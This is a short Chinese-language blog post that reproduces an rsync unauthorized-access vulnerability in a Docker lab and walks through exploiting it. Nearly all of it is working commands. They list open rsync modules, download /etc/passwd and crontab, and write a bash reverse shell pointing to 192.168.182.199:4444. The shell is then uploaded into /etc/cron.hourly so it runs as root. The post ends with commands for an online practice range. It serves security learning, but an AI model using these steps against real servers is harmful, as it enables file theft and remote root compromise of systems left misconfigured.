2019-11-17rsync未授权访问漏洞复现&利用

2019-11-17 本文已影响0人 thelostworldSec

rsync未授权访问漏洞

编写者：thelostworld_fv

简介：

rsync是Linux下一款数据备份工具，支持通过rsync协议、ssh协议进行远程文件传输。其中rsync协议默认监听873端口，如果目标开启了rsync服务，并且没有配置ACL或访问密码，我们将可以读写目标服务器文件。

环境准备：

编译及运行rsync服务器：

docker-compose build docker-compose up -d

运行

环境启动后，我们用rsync命令访问之：

rsync rsync://your-ip:873/

利用方法：

上图，有一个src模块，我们再列出这个模块下的文件：

这是Linux根目录，可以下载任意文件：

rsync -av rsync://your-ip:873/src/etc/passwd ./

查看下载的passwd

查看crontab配置文件：

rsync rsync://192.168.182.143/src/etc/crontab

下载crontab配置文件：

rsync -av rsync://192.168.182.143/src/etc/crontab /root/crontab.txt

写入shell任意文件：

#!/bin/bash /bin/bash -i >& /dev/tcp/192.168.182.199/4444 0>&1

赋予执行权限：

chmod +x shell

将shell上传至/etc/cron.hourly

rsync -av shell rsync://192.168.182.143/src/etc/cron.hourly

写入了一个cron任务，

17 * * * * root cd / && run-parts --report /etc/cron.hourly

表示在每小时的第17分钟执行run-parts --report /etc/cron.hourly命令

成功反弹shell：

获取到服务器权限。

在线靶场：

rsync IP:: //这是在默认条件下没有改变默认的端口，默认密码是:: rsync --port=xxx ip:: //如果修改了默认端口就需要指定端口，这里就是需要自己指定47900端口 rsync -avz ip::www /tmp //-avz是下载文件的命令，前一个是目标内容，后一个是自己指定存储在本地的路径 rsync -avz --port=xxx ip::dddd /tmp